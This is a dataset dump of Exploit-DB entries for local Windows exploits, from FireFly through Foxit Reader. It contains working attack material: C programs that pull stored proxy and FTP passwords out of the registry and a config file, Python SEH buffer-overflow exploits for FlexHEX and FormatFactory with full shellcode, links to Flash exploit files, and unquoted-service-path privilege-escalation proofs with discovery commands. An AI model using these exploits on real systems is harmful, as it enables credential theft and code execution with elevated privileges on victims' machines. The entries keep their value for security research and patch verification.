deardaniel/secdata-raw huggingface dataset:
Exploit-DB #919
Description: FireFly 1.0 - Local Proxy Password Disclosure
Type: local
Platform: windows
Date: 2005-04-07
Author: Kozan

Exploit:
/*****************************************************************

FireFly v1.0 Local Exploit by Kozan

Application: FireFly v1.0
Vendor: NetCruiser Software - www.netcruiser-software.com
Vulnerable Description: FireFly v1.0 discloses proxy passwords
to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <windows.h>

#define BUFSIZE 100
HKEY hKey;
char proxyaddr[BUFSIZE],
        proxyport[BUFSIZE],
        proxyuser[BUFSIZE],
        proxypass[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main(void)
{

       if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\FireFly
FileFinder\\GnutellaServer",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey) == ERROR_SUCCESS)
       {

                       lRet = RegQueryValueEx( hKey, "ProxyAddr", NULL, NULL,(LPBYTE) proxyaddr,&dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                strcpy(proxyaddr,"Not found!");
                       }
           lRet = RegQueryValueEx( hKey, "ProxyPass", NULL, NULL,(LPBYTE) proxypass, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                strcpy(proxypass,"Not found!");
                       }
                       lRet = RegQueryValueEx( hKey, "ProxyUser", NULL, NULL,(LPBYTE) proxyuser, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                strcpy(proxyuser,"Not found!");
                       }
                       lRet = RegQueryValueEx( hKey, "ProxyPort", NULL, NULL,(LPBYTE) proxyport, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                strcpy(proxyport,"Not found!");
                       }

           RegCloseKey( hKey );

                       printf("FireFly v1.0 Local Exploit by Kozan\n");
                       printf("Credits to ATmaCA\n");
                       printf("www.netmagister.com  -  www.spyinstructors.com\n");
                       printf("kozan@netmagister.com\n\n");
                       printf("Proxy Address   : %s\n",proxyaddr);
                       printf("Proxy Port      : %s\n",proxyport);
                       printf("Proxy Username  : %s\n",proxyuser);
                       printf("Proxy Password  : %s\n",proxypass);

        }
        else{
                printf("FireFly v1.0 is not installed on your system!\n");
        }

       return 0;
}

// milw0rm.com [2005-04-07]
Exploit-DB #40482
Description: Fitbit Connect Service - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-09
Author: Ross Marks

Exploit:
Fitbit Connect Service: https://www.fitbit.com/
By Ross Marks:          http://www.rossmarks.co.uk
Exploit-db:             https://www.exploit-db.com/author/?a=8724
Category:               Local
Tested on:              Windows 10 x86/x64
 
1) Unquoted Service Path Privilege Escalation 
 
Fitbit connect installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.
 
A successful attempt would require the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
 
PoC:
 
C:\>sc qc "Fitbit Connect"
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: Fitbit Connect
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Fitbit Connect\FitbitConnectService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Fitbit Connect Service
        DEPENDENCIES       :
        SERVICE_START_NAME : NT AUTHORITY\NetworkService
Exploit-DB #50708
Description: FLAME II MODEM USB - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-02-04
Author: Ismael Nava

Exploit:
# Exploit Title: FLAME II MODEM USB - Unquoted Service Path
# Discovery by: Ismael Nava
# Discovery Date: 02-02-2022
# Vendor Homepage: https://www.telcel.com/personas/equipos/modems-usb/alcatel/x602a
# Software Links : N/A (Is a BAM)
# Tested Version: N/A
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 64 BITS


C:>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
FLAME II HSPA USB MODEM Service		FLAME II HSPA USB MODEM Service		C:\Program Files (x86)\Internet Telcel\ApplicationController.exe                                                                                                                                                                                   Auto

C:>sc qc "FLAME II HSPA USB MODEM Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: FLAME II HSPA USB MODEM Service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Internet Telcel\ApplicationController.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : FLAME II HSPA USB MODEM Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #44742
Description: Flash ActiveX 18.0.0.194 - Code Execution
Type: local
Platform: windows
Date: 2018-02-13
Author: smgorelik

Exploit:
## CVE-2015-5112

Pop up a calculator - Requires Flash ActiveX 18.0.0.194

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44742.swf
Exploit-DB #44744
Description: Flash ActiveX 28.0.0.137 - Code Execution (1)
Type: local
Platform: windows
Date: 2016-02-16
Author: smgorelik

Exploit:
## CVE-2018-4878 (flash exploit)

Pop up a calculator - tested with installation of flash activeX plugin 28.0.0.137

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44744.xlsx
Exploit-DB #44745
Description: Flash ActiveX 28.0.0.137 - Code Execution (2)
Type: local
Platform: windows
Date: 2016-02-13
Author: smgorelik

Exploit:
## CVE-2018-4878 

Pop up a calculator - Requires Flash ActiveX 28.0.0.137

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44745.swf
Exploit-DB #22564
Description: FlashFXP 1.4 - User Password Encryption
Type: local
Platform: windows
Date: 2003-05-05
Author: DVDMAN

Exploit:
// source: https://www.securityfocus.com/bid/7499/info

FlashFXP uses a trivially reversible algorithm to encrypt FTP user credentials. Local attackers with access to the sites.data may exploit this weakness to gain unauthorized access to FTP user credentials for remote sites.

/* Flashfxp sites.dat decryption
 * By: Dvdman@l33tsecurity.com
 * L33tsecurity 2003
*/
#include <math.h>
#include <stdio.h>
#include <stdlib.h>

#define VERSION 1


char magic[] ={ 0x79,0x41,0x33, 0x36, 0x7A, 0x41, 0x34 ,0x38, 0x64, 0x45 ,0x68, 0x66, 0x72, 0x76, 0x67 ,0x68,
0x47, 0x52, 0x67, 0x35, 0x37, 0x68, 0x35, 0x55, 0x6C ,0x44 ,0x76, 0x33 ,0x00 ,0x00 ,0x00, 0x00, };

char b[]={ 0x36,0xd8,0x7f,0xc2,0x07,0x16,0xc3};
                     /* kernel */

//char b[]={ 0x74, 0x92, 0x43 ,0x9C, 0x25, 0xEE ,0x27, 0xA1, 0x2D, 0xC2, 0x77, 0x84,};


int main(int argc, char **argv)
{
        unsigned char temp;
        unsigned char out[128];
        int i;
        temp = b[0];
        for (i = 1; i < sizeof(b); i++)
        {
                out[i - 1] = (b[i] ^ magic[i - 1]) - temp - (i + 1) % 2;
                temp = b[i % 29];
        };

        out[i - 1] = 0;
        printf("DECRYPTED PASSWORD IS: %s\n",(char *)&out);
        return 0;
}
Exploit-DB #46665
Description: FlexHEX 2.71 - SEH Buffer Overflow (Unicode)
Type: local
Platform: windows
Date: 2019-04-08
Author: Chris Au

Exploit:
#!/usr/bin/python -w

#
# Exploit Author: Chris Au
# Exploit Title:  FlexHEX 2.71 - Local Buffer Overflow (SEH Unicode)
# Date: 06-04-2019
# Vulnerable Software: FlexHEX 2.71
# Vendor Homepage: http://www.flexhex.com
# Version: 2.71
# Software Link: http://www.flexhex.com/download/flexhex_setup.exe
# Tested Windows Windows XP SP3
#
#
# PoC
# 1. generate evil.txt, copy contents to clipboard
# 2. open FlexHEX Editor
# 3. select "Stream", click "New Stream..."
# 4. paste contents from clipboard in the "Stream Name:"
# 5. select OK
# 6. calc.exe
#
 
filename="evil.txt"
junk = "\xcc" * 276
nseh = "\x90\x45"
seh = "\xd5\x52" #pop pop retn
valign = (
"\x45" #align
"\x56" #push esi
"\x45" #align
"\x58" #pop eax
"\x45" #align
"\x05\x20\x11" #add eax,11002000
"\x45" #align
"\x2d\x1a\x11" #sub eax,11001a00
"\x45" #align
"\x50" #push eax
"\x45" #align
"\xc3" #retn
)
#nop to shell
nop = "\x45" * 94
#call calc.exe, bufferRegister=EAX
shellcode = (
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAI"
"AQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIA"
"JQYAZBABABABABkMAGB9u4JBkLK8qrM0ypyps0e9xeP1Y0RD4K"
"npnPrkPRLLbkb2N42kt2lhlOegmzkvMaYodlMl0aqlKRnLo0Uq"
"foLMzai7zBl2nrOgTKnrJptKNjoLBkpLjqahISQ8KQ8QpQRkaI"
"kpKQYCbkMyzxHcnZq9bkNTTK9q9FMaYofLVa8OLMjaI7p8GpRU"
"9flCamXxmksMo4d5JD1HrknxMTYq8Sc6RkJl0KtKnxKlkQFs4K"
"zdtKKQJ0RiQ4NDLdOkOkC1pYOjOakOyPQOqOpZ4KN2zKTMaM0j"
"kQbmu55bKP9pM0b0C8014KROQwkOIEek8pTuTbPVQXcvTU7MeM"
"iohUOLm6qlyze09k7p0u9ugKa7mCPrbOqZ9pOcYoHURCPa0l0c"
"Lnc51hOuipAA")
fill = "\x45" * 5000
buffer = junk + nseh + seh + valign + nop + shellcode + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #49363
Description: Fluentd TD-agent plugin 4.0.1 - Insecure Folder Permission
Type: local
Platform: windows
Date: 2021-01-05
Author: Adrian Bondocea

Exploit:
# Exploit Title: Fluentd TD-agent plugin 4.0.1 - Insecure Folder Permission
# Date: 21.12.2020
# Exploit Author: Adrian Bondocea
# Vendor Homepage: https://www.fluentd.org/
# Software Link: https://td-agent-package-browser.herokuapp.com/4/windows
# Version: <v4.0.1
# Tested on: Windows 10 x64
# CVE : CVE-2020-28169
# External URL: https://github.com/zubrahzz/FluentD-TD-agent-Exploit-CVE-2020-28169

Description:
The td-agent-builder plugin before 2020-12-18 for Fluentd allows attackers to gain privileges because the bin directory is writable by a user account, but a file in bin is executed as NT AUTHORITY\SYSTEM.

Vulnerable Path: ( Authenticated Users have permission to write within the location )
PS C:\opt\td-agent\bin> icacls C:\opt\td-agent\bin
C:\opt\td-agent\bin BUILTIN\Administrators:(I)(OI)(CI)(F)
                    NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                    BUILTIN\Users:(I)(OI)(CI)(RX)
                    NT AUTHORITY\Authenticated Users:(I)(M)
                    NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

Successfully processed 1 files; Failed processing 0 files

Vulnerable service:
PS C:\opt\td-agent\bin> get-service fluentdwinsvc

Status   Name               DisplayName
------   ----               -----------
Running  fluentdwinsvc      Fluentd Windows Service

Service Path:
"C:/opt/td-agent/bin/ruby.exe" -C t"C:/opt/td-agent/lib/ruby/gems/2.7.0/gems/fluentd-1.11.2/lib/fluent/command/.."
 winsvc.rb --service-name fluentdwinsvc
Exploit-DB #48821
Description: ForensiTAppxService 2.2.0.4 - 'ForensiTAppxService.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-09-21
Author: Burhanettin Ozgenc

Exploit:
# Exploit Title: ForensiTAppxService 2.2.0.4 - 'ForensiTAppxService.exe' Unquoted Service Path
# Discovery by: Burhanettin Özgenç
# Discovery Date: 2020-09-15
# Vendor Homepage: https://www.forensit.com/downloads.html
# Tested Version: 2.2.0.4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "ForensiTAppxService" | findstr /i /v """

ForensiT AppX Management Service	ForensiTAppxService	C:\Program Files (x86)\ForensiT\AppX Management Service\ForensiTAppxService.exe	Auto

# Service info:

C:\>sc qc ForensiTAppxService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ForensiTAppxService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\ForensiT\AppX Management Service\ForensiTAppxService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ForensiT AppX Management Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

# Exploit:
# A successful attempt would require the local user to be able to insert their code in the system 
# root path undetected by the OS or other security applications where it could potentially be executed
# during application startup or reboot. If successful, the local user's code would execute with 
# the elevated privileges of the application.
Exploit-DB #22851
Description: FormatFactory 3.0.1 - Profile File Handling Buffer Overflow
Type: local
Platform: windows
Date: 2012-11-20
Author: Julien Ahrens

Exploit:
#!/usr/bin/python
 
# Exploit Title: FormatFactory v3.0.1 Profile File Handling Buffer Overflow
# Version:       <= 3.0.1
# Date:          2012-11-19
# Author:        Julien Ahrens (@MrTuxracer)
# Homepage:      http://www.inshell.net
# Software Link: http://www.pcfreetime.com
# Tested on:     Windows XP SP3 Professional German
# Notes:         -
# Howto:         Copy .ini to %USERPROFILE%\My Documents\FormatFactory\PicCustom

from struct import pack

file="profile.ini"

junk1="\xCC" * 260
nseh="\xeb\x06\x90\x90"
eip=pack('<L',0x024C1923) # CALL DWORD PTR SS:[EBP-C] at 0x024c1923 - SafeSEH Bypass
nops="\x90" * 10 
junk2="\xCC" * 10000

# windows/exec CMD=calc.exe 
# Encoder: x86/shikata_ga_nai
# powered by Metasploit 
# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00'

shellcode = ("\xba\x68\x3e\x85\x1f\xd9\xca\xd9\x74\x24\xf4\x58\x29\xc9" +
"\xb1\x33\x31\x50\x12\x83\xe8\xfc\x03\x38\x30\x67\xea\x44" +
"\xa4\xee\x15\xb4\x35\x91\x9c\x51\x04\x83\xfb\x12\x35\x13" +
"\x8f\x76\xb6\xd8\xdd\x62\x4d\xac\xc9\x85\xe6\x1b\x2c\xa8" +
"\xf7\xad\xf0\x66\x3b\xaf\x8c\x74\x68\x0f\xac\xb7\x7d\x4e" +
"\xe9\xa5\x8e\x02\xa2\xa2\x3d\xb3\xc7\xf6\xfd\xb2\x07\x7d" +
"\xbd\xcc\x22\x41\x4a\x67\x2c\x91\xe3\xfc\x66\x09\x8f\x5b" +
"\x57\x28\x5c\xb8\xab\x63\xe9\x0b\x5f\x72\x3b\x42\xa0\x45" +
"\x03\x09\x9f\x6a\x8e\x53\xe7\x4c\x71\x26\x13\xaf\x0c\x31" +
"\xe0\xd2\xca\xb4\xf5\x74\x98\x6f\xde\x85\x4d\xe9\x95\x89" +
"\x3a\x7d\xf1\x8d\xbd\x52\x89\xa9\x36\x55\x5e\x38\x0c\x72" +
"\x7a\x61\xd6\x1b\xdb\xcf\xb9\x24\x3b\xb7\x66\x81\x37\x55" +
"\x72\xb3\x15\x33\x85\x31\x20\x7a\x85\x49\x2b\x2c\xee\x78" +
"\xa0\xa3\x69\x85\x63\x80\x86\xcf\x2e\xa0\x0e\x96\xba\xf1" +
"\x52\x29\x11\x35\x6b\xaa\x90\xc5\x88\xb2\xd0\xc0\xd5\x74" +
"\x08\xb8\x46\x11\x2e\x6f\x66\x30\x4d\xee\xf4\xd8\xbc\x95" +
"\x7c\x7a\xc1")

poc="Type=" + junk1 + nseh + eip + nops + shellcode + junk2 

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";
Exploit-DB #40461
Description: Fortitude HTTP 1.0.4.0 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-05
Author: Tulpa

Exploit:
# Exploit Title: Fortitude HTTP 1.0.4.0 Unquoted Service Path Elevation of Privilege
# Date: 05/10/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Author twitter: @tulpa_security
# Vendor Homepage: http://www.networkdls.com/
# Software Link: http://www.networkdls.com/Software/View/Fortitude_HTTP
# Version: Software Version 1.0.4.0
# Tested on: Windows 7 x86
# Shout-out to carbonated and ozzie_offsec

1. Description:

Netgear Genie installs a service called 'Fortitude HTTP' with an unquoted service path

running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof

C:\Program Files>sc qc "Fortitude HTTP"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Fortitude HTTP
        TYPE               : 110 WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NetworkDLS\Fortitude HTTP\Bin
\FortitudeSvc.exe /RunService
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NetworkDLS Fortitude HTTP
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


3. Exploit:

A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
Exploit-DB #40485
Description: Foxit Cloud Update Service - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-09
Author: Ross Marks

Exploit:
Foxit Cloud Update Service: 	https://www.foxitsoftware.com
By Ross Marks:    	  			http://www.rossmarks.co.uk
Exploit-db:         			https://www.exploit-db.com/author/?a=8724
Category:           			Local
Tested on:          			Windows 10 x86/x64
 
1) Unquoted Service Path Privilege Escalation 
 
Foxit reader's "cloud safe update service" installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.
 
A successful attempt would require the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
 
PoC:
 
C:\>sc qc FoxitCloudUpdateService
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: FoxitCloudUpdateService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\FOXIT SOFTWARE\FOXIT READER\Foxit Cloud\FCUpdateService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Foxit Cloud Safe Update Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #50807
Description: Foxit PDF Reader 11.0 - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-03-07
Author: Hejap Zairy Al-Sharif

Exploit:
# Exploit Title: Foxit PDF Reader 11.0 - Unquoted Service Path
# Date: 05/03/2022
# Exploit Author: Hejap Zairy
# Vendor Homepage: https://www.foxit.com/pdf-reader/
# Software Link: https://www.foxit.com/downloads/#Foxit-Reader/
# Version: 11.0.1.49938
# Tested: Windows 10 Pro x64 es

C:\Users\Hejap>sc qc  FoxitReaderUpdateService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FoxitReaderUpdateService
        TYPE               : 110  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Foxit Software\Foxit PDF Reader\FoxitPDFReaderUpdateService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Foxit PDF Reader Update Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #36390
Description: Foxit Reader 7.0.6.1126 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2015-03-16
Author: LiquidWorm

Exploit:

Foxit Reader 7.0.6.1126 Unquoted Service Path Elevation Of Privilege


Vendor: Foxit Software Incorporated
Product web page: http://www.foxitsoftware.com
Affected version: 7.0.6.1126 and 6.1

Summary: Foxit Reader is a small, lightning fast, and feature rich PDF
viewer which allows you to create (free PDF creation), open, view, sign,
and print any PDF file.

Desc: The application suffers from an unquoted search path issue impacting
the service 'FoxitCloudUpdateService' for Windows deployed as part of Foxit
Reader. This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system. A
successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user’s code would execute with the elevated privileges
of the application.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Aljaz Ceru
                            aljaz@insec.si


Advisory ID: ZSL-2015-5235
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5235.php

Vendor: http://www.foxitsoftware.com/support/security_bulletins.php#FRD-25


17.02.2015

--


C:\Users\user>sc qc FoxitCloudUpdateService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FoxitCloudUpdateService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud\FCUpdateService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Foxit Cloud Safe Update Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\user>